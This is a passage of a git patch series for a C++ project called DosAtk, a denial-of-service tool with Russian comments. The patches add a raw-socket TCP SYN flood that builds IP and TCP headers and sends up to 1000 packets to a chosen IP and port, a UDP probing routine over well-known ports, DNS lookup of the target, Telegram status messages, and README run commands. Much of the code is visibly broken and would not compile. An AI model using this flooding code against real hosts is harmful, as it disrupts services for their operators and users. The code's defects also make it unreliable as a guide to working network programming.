█ █ █ █ + █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █ + █ ████ █ █ █ █ █ █ ████ █ █ █ ████ █████ █ █ █ █ █ █ ███ █ + █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ + █ █████ █ █ ███ █ █ █ ███ █ █ █ █ █ █ █ █ ███ █ +*/ + int main(int arg_ctr, char **arg_ptr) { // Инициализация глобальных переменных @@ -585,24 +608,18 @@ int main(int arg_ctr, char **arg_ptr) std::string msg; int status = 0; - // Тело программы - - // Проверяем параметры командной строки - my_check_params(); + status = my_check_params(); // Проверяем параметры командной строки - // Обрабатываем результат проверки параметров - switch (status) + + switch (status) // Обрабатываем результат проверки параметров { case 1: // Режим сканирования портов (UDP) - // Пытаемся разрешить DNS (если указано доменное имя) - my_dns(); - + status = my_dns(); // Пытаемся разрешить DNS (если указано доменное имя) if (status == 0) // Если DNS разрешен успешно { - // Запускаем цикл UDP-атаки - while (true) + while (true) // Запускаем цикл UDP-атаки { - my_udp() + status = my_udp() if (status == 2) // Код завершения атаки { break; @@ -610,7 +627,7 @@ int main(int arg_ctr, char **arg_ptr) else if (status < 0) // Обработка ошибок { my_diag(); // Выводим диагностику - my_log(); // Пытаемся записать в лог + status = my_log(); // Пытаемся записать в лог if (status == 1) // Если записать лог не удалось { my_msg(); // Отправляем сообщение @@ -625,7 +642,7 @@ int main(int arg_ctr, char **arg_ptr) else if (status == 1) // Ошибка DNS-разрешения { my_diag(); // Выводим ошибку - my_log(); // Логируем ошибку + status = my_log(); // Логируем ошибку if (status == 0) // Если лог получилось записать { @@ -640,14 +657,14 @@ int main(int arg_ctr, char **arg_ptr) break; case 2: // Режим SYN-флуда (TCP) // Пытаемся разрешить DNS (если указано доменное имя) - my_dns(); + status = my_dns(); if (status == 0) // Если DNS разрешен успешно { // Запускаем цикл UDP-атаки while (true) { - my_tcp_syn() + status = my_tcp_syn() if (status == 2) // Код завершения атаки { break; @@ -655,7 +672,7 @@ int main(int arg_ctr, char **arg_ptr) else if (status < 0) // Обработка ошибок { my_diag(); // Выводим диагностику - my_log(); // Пытаемся записать в лог + status = my_log(); // Пытаемся записать в лог if (status == 1) // Если записать лог не удалось { my_msg(); // Отправляем сообщение @@ -670,7 +687,7 @@ int main(int arg_ctr, char **arg_ptr) else if (status == 1) // Ошибка DNS-разрешения { my_diag(); // Выводим ошибку - my_log(); // Логируем ошибку + status = my_log(); // Логируем ошибку if (status == 0) // Если лог получилось записать { @@ -690,7 +707,7 @@ int main(int arg_ctr, char **arg_ptr) case -101: case -600: my_diag(); // Выводим диагностику - my_log(); // Логируем событие + status = my_log(); // Логируем событие if (status == 0) // Без уведомления { From 27d94f1199a28da6a3ad0d8df2d559a1a125ef93 Mon Sep 17 00:00:00 2001 From: nekitmilk Date: Thu, 3 Apr 2025 17:40:48 +0300 Subject: [PATCH 6/9] nekitmilk_my_dns (#11) Co-authored-by: tieshagr Co-authored-by: Serafim Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/11 Reviewed-by: serafim Co-authored-by: nekitmilk Co-committed-by: nekitmilk --- build.sh | 2 +- src/DosAtk.cpp | 89 +++++++++++++++++++++++++++++++++++++++++++++++--- 2 files changed, 85 insertions(+), 6 deletions(-) diff --git a/build.sh b/build.sh index 477c251..b86066d 100755 --- a/build.sh +++ b/build.sh @@ -1,2 +1,2 @@ -g++ src/DosAtk.cpp -o DosAtk -lcurl +g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto ./DosAtk "$@" diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index f6d4fe8..9a78688 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -572,12 +572,91 @@ int my_tcp_syn() return 0; } -int my_udp() +int my_dns() { - // Данная процедура сопостовляет производит port scanning атаку - printf("start my_udp"); // debug - printf("end my_udp"); // debug - return 2; + // Данная процедура сопостовляет доменное имя с IP + // Обрабатываем перменнкю domain, записываем в ip + // -4001 - ошибка инициализации CURL + // -4002 - ошибка запроса CURL + // -4003 - ошибка парсинга JSON + + CURL* curl; // объект curl + CURLcode res; // результат выполнения запроса + std::string response; // ответ DNS сервера + std::string url; // API DNS сервера + struct curl_slist* headers; // Заголовки + nlohmann::json json_data; // Ответ от dns сервера + int status; // Состояние работы процедуры + + status = 0; + curl = 0; + res = {}; + response = ""; + url = ""; + headers = {0}; + json_data = {0}; + + printf("start my_dns"); // debug + + // Инициализируем curl + curl = curl_easy_init(); + if (!curl) { + status = -4001; + } + else { + // Формируем URL для Cloudflare DoH + url = "https://1.1.1.1/dns-query?name=" + domain + "&type=A"; + + // Настройки CURL + curl_easy_setopt(curl, CURLOPT_URL, url.c_str()); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); + curl_easy_setopt(curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_2_0); // HTTP/2 + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L); // Проверка SSL + + // Устанавливаем заголовок + headers = curl_slist_append(headers, "accept: application/dns-json"); + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); + + // Выполняем запрос + res = curl_easy_perform(curl); + if (res != CURLE_OK) { + status = -4002; + } else { + // Парсим JSON и извлекаем IP + try { + json_data = nlohmann::json::parse(response); + if (json_data.contains("Answer")) { + for (const nlohmann::json& record : json_data["Answer"]) { + if (record["type"] == 1) { // A-запись (IPv4) (Это же и проверка валидного IP) + ip = record["data"].get(); + break; + } + } + } + } catch (const std::exception& e) { + status = -4003; + } + } + } + + // Освобождаем ресурсы + curl_slist_free_all(headers); + curl_easy_cleanup(curl); + + if (!status) { + status = 1; + } + + printf("end my_dns"); // debug + return status; +} + +// Callback для записи ответа от сервера +size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) { + size_t total_size = size * nmemb; + output->append((char*)contents, total_size); + return total_size; } /* From d2daab9650cafd920e86d4a714f61ae0e6a9f04a Mon Sep 17 00:00:00 2001 From: Urmipie Date: Tue, 8 Apr 2025 01:48:15 +0300 Subject: [PATCH 7/9] delete check_sum function and moved its logic inside tcp_syn (#13) Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/13 Reviewed-by: dr-wh0 <79003667309@yandex.ru> Co-authored-by: Urmipie Co-committed-by: Urmipie --- README.md | 14 ++++++-- build.sh | 2 ++ src/DosAtk.cpp | 88 +++++++++++++++++++++++--------------------------- 3 files changed, 53 insertions(+), 51 deletions(-) diff --git a/README.md b/README.md index 42b171d..cb5d8bd 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ # Как жить? Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. +Либо просим у Серафима контрибьютора и сразу делаем ветку где надо (так даже лучше, не придётся мучаться с мержем из форка) ``` git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) @@ -13,15 +14,22 @@ git push origin my_dns # Пушим свою ветку в репозитори # Компиляция -Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl` -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev` +Для компиляции: `./build.sh` (после компиляции запускает файл), либо ручками: `g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto` +Если ошибка отсутствия заголовочных файлов, то нужно установить: + +``` +sudo apt-get install libcurl4-openssl-dev +sudo apt-get install libssl-dev +``` # Запуск Пример запуска: ``` -sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 # запуск заранее скомпилированной программы +sudo ./build.sh -a flood -i 127.0.0.1 -p 800 # скомипилирует и запустит программу ``` + Запускается только на Линухе! diff --git a/build.sh b/build.sh index b86066d..ce2b8a0 100755 --- a/build.sh +++ b/build.sh @@ -1,2 +1,4 @@ +#!/bin/sh +set -e # if compilation fail next command will not be executed, so older version of programm will not be launched g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto ./DosAtk "$@" diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 9a78688..14080ca 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -423,60 +423,24 @@ int my_dns() printf("end my_dns"); // debug } -unsigned short checksum(void *data, int len) -{ - /** - * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) - * - * Параметры: - * data - указатель на данные пакета - * len - длина данных в байтах - * - * Возвращает: - * 16-битную инвертированную контрольную сумму - */ - // === Объявление локальных переменных === - uint16_t *ptr; // Указатель для чтения 16-битных слов - unsigned long sum; // Аккумулятор для суммы - uint8_t *byte_ptr; // Указатель для чтения одиночного байта - // === Инициализация переменных === - ptr = (uint16_t *)data; // Инициализируем указатель на данные - sum = 0; // Начальное значение суммы - // === Основная логика процедуры === - // Суммируем 16-битные слова - while (len > 1) { - sum += *ptr++; // Добавляем текущее слово и перемещаем указатель - len -= 2; // Уменьшаем счетчик оставшихся байт - } - if (len == 1) { // Если остался непарный байт, добавляем его в сумму - byte_ptr = (uint8_t *)ptr; - sum += *byte_ptr; - } - sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) - return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму -} - - -int my_tcp_syn() -{ +int my_tcp_syn() { /* - * Отправляет TCP SYN запрос на указанный IP и порт + * Отправляет TCP SYN запрос на указанный IP и порт * status: - * 0 - запрос успешно отправлен (атака продолжается) - * 2 - достигнуто максимальное количество запросов (1000) - * -201 - ошибка создания raw-сокета - * -202 - ошибка отправки SYN-пакета + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета */ printf("start my_tcp_syn"); // debug - // === Объявление локальных переменных === int sock; // Основной raw-сокет для отправки пакетов int one; // Флаг для setsockopt // Структуры для адресов struct sockaddr_in target_addr; // Адрес цели // Параметры подключения - uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) + uint16_t target_port; // Порт цели (в сетевом порядке байт) // Структуры заголовков struct iphdr ip_header; // IP-заголовок пакета struct tcphdr tcp_header; // TCP-заголовок пакета @@ -491,6 +455,12 @@ int my_tcp_syn() // Буферы данных char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + + // Переменные для встроенного расчета контрольной суммы + uint16_t *checksum_ptr; + unsigned long checksum_sum; + uint8_t *checksum_byte_ptr; + int checksum_len; // === Инициализация переменных === sock = -1; @@ -502,6 +472,9 @@ int my_tcp_syn() pseudo_header = nullptr; temp_buf = nullptr; packet = nullptr; + checksum_ptr = 0; + checksum_sum = 0; + checksum_len = 0; // === Основная логика процедуры === // 1. Создание raw-сокета @@ -515,7 +488,10 @@ int my_tcp_syn() // 3. Настройка адреса цели memset(&target_addr, 0, sizeof(target_addr)); target_addr.sin_family = AF_INET; - inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { + close(sock); + return -202; + } // 4. Формирование IP заголовка memset(&ip_header, 0, sizeof(ip_header)); @@ -546,7 +522,23 @@ int my_tcp_syn() }; memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); - tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // Встроенный расчет контрольной суммы + checksum_ptr = (uint16_t *)temp_buf; + checksum_len = sizeof(temp_buf); + + while (checksum_len > 1) { + checksum_sum += *checksum_ptr++; + checksum_len -= 2; + } + + if (checksum_len == 1) { + checksum_byte_ptr = (uint8_t *)checksum_ptr; + checksum_sum += *checksum_byte_ptr; + } + + checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF); + tcp_header.check = (unsigned short)(~checksum_sum); // 7. Сборка пакета memcpy(packet, &ip_header, sizeof(iphdr)); @@ -554,7 +546,7 @@ int my_tcp_syn() // 8. Отправка пакета if (sendto(sock, packet, sizeof(packet), 0, - (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { n_fail_requests++; return -202; } else { @@ -566,7 +558,7 @@ int my_tcp_syn() return 2; } - + close(sock); printf("end my_tcp_syn"); // debug return 0; @@ -801,4 +793,4 @@ int main(int arg_ctr, char **arg_ptr) } return 0; // Возвращаем код успешного завершения -} +} \ No newline at end of file From 58fa2072a4c59135f2023ef1e22df7760838001f Mon Sep 17 00:00:00 2001 From: nekitmilk Date: Thu, 17 Apr 2025 16:18:15 +0300 Subject: [PATCH 8/9] nekitmilk_compile_dev (#14) Co-authored-by: tieshagr Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/14 Reviewed-by: serafim Co-authored-by: nekitmilk Co-committed-by: nekitmilk --- src/DosAtk.cpp | 100 ++++++++++++++++++++++++++----------------------- 1 file changed, 53 insertions(+), 47 deletions(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 14080ca..09cd1b2 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -16,6 +16,13 @@ #include // Определение констант сетевых интерфейсов (IFNAMSIZ) #include // Управление сокетами и интерфейсами (ioctl) #include // Флаги файловых дескрипторов (fcntl) +#include // Строки +#include // Для работы с временем +#include // Для struct option и getopt_long() +#include // Основной заголовок libcurl +#include // стандартный input output +#include +#include /* ██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗ @@ -26,8 +33,8 @@ ╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════ */ -int argc // Количество аргументов при вызове программы -char **argv // Массив строк с агрументами +int argc; // Количество аргументов при вызове программы +char **argv; // Массив строк с агрументами std::string attack_type; // Тип атаки: scan или syn std::string domain; // Доменное Имя std::string ip; // Ip жертвы @@ -42,6 +49,7 @@ std::string log_msg; // Сообщение, std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю std::string msg; // Сообщение, которое будет отправлено в телеграм int status; // Статус работы программы +// int log_status; /* ██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗ @@ -69,31 +77,30 @@ int my_check_params() //Объявление std::chrono::milliseconds ms; // Количество миллисекунд от целой секунды времени начала выполнения программы + std::time_t now_time_t; // текущее время int opt; // Прочитанный параметр const char* short_options; // Сокращения для параметров - struct option long_options[]; // Структура, описывающая пеобходимые программе параметры + struct option long_options[10]; // Структура, описывающая пеобходимые программе параметры int i; // Счётчик для цикла // Инициализация ms = std::chrono::duration_cast(start_timestamp.time_since_epoch()) % 1000; opt = -1; short_options = "a:d:i:p:l:t:b:h"; - long_options = - { - {"attack", required_argument, NULL, 'a'}, - {"domain", required_argument, NULL, 'd'}, - {"ip", required_argument, NULL, 'i'}, - {"port", required_argument, NULL, 'p'}, - {"log", required_argument, NULL, 'l'}, - {"telegram", required_argument, NULL, 't'}, - {"token", required_argument, NULL, 'b'}, - {"help", no_argument, NULL, 'h'}, - {NULL, 0, NULL, 0} - }; + long_options[0] = {"attack", required_argument, NULL, 'a'}; + long_options[1] = {"domain", required_argument, NULL, 'd'}; + long_options[2] = {"ip", required_argument, NULL, 'i'}; + long_options[3] = {"port", required_argument, NULL, 'p'}; + long_options[4] = {"log", required_argument, NULL, 'l'}; + long_options[5] = {"telegram", required_argument, NULL, 't'}; + long_options[6] = {"token", required_argument, NULL, 'b'}; + long_options[7] = {"help", no_argument, NULL, 'h'}; + long_options[8] = {NULL, 0, NULL, 0}; i = 0; printf("begin my_check_params"); // debug + now_time_t = std::time(nullptr); // Выводим информацию о времени запуска программы printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", // Шаблон для вывода std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900) @@ -163,6 +170,8 @@ int my_check_params() } printf("end my_check_params status: %i\n", status); // debug + + return -101; } void my_diag() @@ -218,10 +227,10 @@ std::string escape_json(const std::string& s) // ===== Инициализация ===== result = ""; - c = ''; + c = '\0'; // пустой символ // Проходим по каждому символу входной строки - for (c : s) { + for (char c : s) { // Обрабатываем специальные символы JSON switch (c) { case '"': result += "\\\""; break; // Экранирование двойных кавычек @@ -289,8 +298,8 @@ void my_msg() chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\""; json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса http_code = 0; - res = nullptr; - + res = CURLE_OK; + // Проверка наличия обязательных параметров Telegram if (telegram_token.empty() || telegram_id.empty()) { @@ -365,7 +374,7 @@ void my_fin() // Объявления time_t end_time_t; // Время завершения выполненя программы - std::chrono::duration duration; // Длительность выполнения программы + std::chrono::milliseconds duration; // Длительность выполнения программы std::chrono::hours hours; // Компонента часов времени завершения std::chrono::minutes minutes; // Компонента минут времени завершения std::chrono::seconds seconds; // Компонента секунд времени завершения @@ -373,12 +382,12 @@ void my_fin() // Иницаализация end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now()); - duration = end_timestamp - start_timestamp; // Вычисляем продолжительность работы программы + duration = std::chrono::duration_cast(std::chrono::system_clock::now() - start_timestamp); // Вычисляем продолжительность работы программы hours = std::chrono::duration_cast(duration); // Разбиваем продолжительность на компоненты minutes = std::chrono::duration_cast(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты seconds = std::chrono::duration_cast(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты milliseconds = std::chrono::duration_cast(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты - double total_seconds + double total_seconds; printf("begin my_diag\n"); // debug @@ -416,13 +425,6 @@ void my_fin() std::exit(status); } -int my_dns() -{ - // Данная процедура сопостовляет доменное имя с IP - printf("start my_dns"); // debug - printf("end my_dns"); // debug -} - int my_tcp_syn() { /* * Отправляет TCP SYN запрос на указанный IP и порт @@ -465,13 +467,13 @@ int my_tcp_syn() { // === Инициализация переменных === sock = -1; one = 1; - target_addr = nullptr; + memset(&target_addr, 0, sizeof(target_addr)); target_port = htons(atoi(port.c_str())); - ip_header = nullptr; - tcp_header = nullptr; - pseudo_header = nullptr; - temp_buf = nullptr; - packet = nullptr; + memset(&ip_header, 0, sizeof(ip_header)); + memset(&tcp_header, 0, sizeof(tcp_header)); + memset(&pseudo_header, 0, sizeof(pseudo_header)); + memset(temp_buf, 0, sizeof(temp_buf)); + memset(packet, 0, sizeof(packet)); checksum_ptr = 0; checksum_sum = 0; checksum_len = 0; @@ -564,6 +566,17 @@ int my_tcp_syn() { return 0; } +int my_udp() { + return 0; +} + +// Callback для записи ответа от сервера +size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) { + size_t total_size = size * nmemb; + output->append((char*)contents, total_size); + return total_size; +} + int my_dns() { // Данная процедура сопостовляет доменное имя с IP @@ -644,13 +657,6 @@ int my_dns() return status; } -// Callback для записи ответа от сервера -size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) { - size_t total_size = size * nmemb; - output->append((char*)contents, total_size); - return total_size; -} - /* █████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █ @@ -690,7 +696,7 @@ int main(int arg_ctr, char **arg_ptr) { while (true) // Запускаем цикл UDP-атаки { - status = my_udp() + status = my_udp(); if (status == 2) // Код завершения атаки { break; @@ -719,7 +725,7 @@ int main(int arg_ctr, char **arg_ptr) { my_fin(); // Просто завершаем программу } - else if (log_status == 1) // Если лог не удалось записать + else if (status == 1) // Если лог не удалось записать { my_msg(); // Отправляем сообщение my_fin(); // Завершаем программу @@ -735,7 +741,7 @@ int main(int arg_ctr, char **arg_ptr) // Запускаем цикл UDP-атаки while (true) { - status = my_tcp_syn() + status = my_tcp_syn(); if (status == 2) // Код завершения атаки { break; @@ -764,7 +770,7 @@ int main(int arg_ctr, char **arg_ptr) { my_fin(); // Просто завершаем программу } - else if (log_status == 1) // Если лог не удалось записать + else if (status == 1) // Если лог не удалось записать { my_msg(); // Отправляем сообщение my_fin(); // Завершаем программу @@ -792,5 +798,5 @@ int main(int arg_ctr, char **arg_ptr) break; } - return 0; // Возвращаем код успешного завершения + return 0; // Возвращаем код успешного завершения } \ No newline at end of file From 472eff7962630a715aa6b311b5873d02c4e2f52e Mon Sep 17 00:00:00 2001 From: Serafim Date: Sat, 26 Apr 2025 19:23:34 +0300 Subject: [PATCH 9/9] my_udp (#16) Reviewed-on: https://gitea.serafimdev.com/serafim/dos/pulls/16 Co-authored-by: Serafim Co-committed-by: Serafim --- src/DosAtk.cpp | 80 +++++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 76 insertions(+), 4 deletions(-) diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 09cd1b2..e33bf19 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -21,8 +21,12 @@ #include // Для struct option и getopt_long() #include // Основной заголовок libcurl #include // стандартный input output -#include -#include +#include // Форматированный ввод/вывод +#include // Работа с JSON +#include // Стандартный ввод/вывод (C) +#include // Базовые функции (C) +#include // Работа со строками (C) +#include // Сетевые функции, интернет-адреса /* ██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗ @@ -209,6 +213,15 @@ void my_diag() case -600: // Неполные данные для Telegram-уведомлений printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n"); break; + case -501: + printf("Error: Invalid target IP address\n"); + break; + case -502: + printf("Error: Failed to create UDP socket\n"); + break; + case -503: + printf("Error: UDP packet send failed\n"); + break; } printf("end my_diag\n"); // debug @@ -566,8 +579,67 @@ int my_tcp_syn() { return 0; } -int my_udp() { - return 0; +void my_udp() { + // Выполняет UDP портовое сканирование well-known портов + int status; + int sockfd; // Дескриптор сокета + struct sockaddr_in target_addr; // Адрес цели + static int port_idx; // Текущий индекс порта + static const int ports[]; // Список портов + static const int ports_total; + int curr_port; // Текущий порт + const char dummy_data[]; // Данные для отправки + ssize_t send_result; // Результат отправки + + // Инициализация структуры адреса + memset(&target_addr, 0, sizeof(target_addr)); + curr_port = ports[port_idx]; + dummy_data[] = "SCAN"; + target_addr.sin_family = AF_INET; + target_addr.sin_port = htons(curr_port); + ports_total = sizeof(ports)/sizeof(ports[0]) + sockfd = -1; + port_idx = 0; + ports = { // Список портов + 53, 67, 68, 69, 123, 161, 162, 389, 443, 500, 514, 520, 1900, 4500 + }; + + // Преобразование IP + if (inet_pton(AF_INET, ip, &target_addr.sin_addr) <= 0) { + n_fail_requests++; + status = -501; // Код ошибки: неверный IP + if (sockfd != -1) close(sockfd); + return status; + } + + // Создание сокета + sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (sockfd < 0) { + n_fail_requests++; + status = -502; // Ошибка создания сокета + if (sockfd != -1) close(sockfd); + return status; + } + + // Отправка данных + send_result = sendto(sockfd, dummy_data, sizeof(dummy_data), 0, + (struct sockaddr*)&target_addr, sizeof(target_addr)); + if (send_result < 0) { + n_fail_requests++; + status = -503; // Ошибка отправки + } else { + n_ok_requests++; + status = 0; // Успешная отправка + } + + // Проверка общего числа запросов + if (n_ok_requests + n_fail_requests >= 1000) { + status = 2; // Условие завершения + } + + // Переход к следующему порту + port_idx = (port_idx + 1) % ports_total; + return status; } // Callback для записи ответа от сервера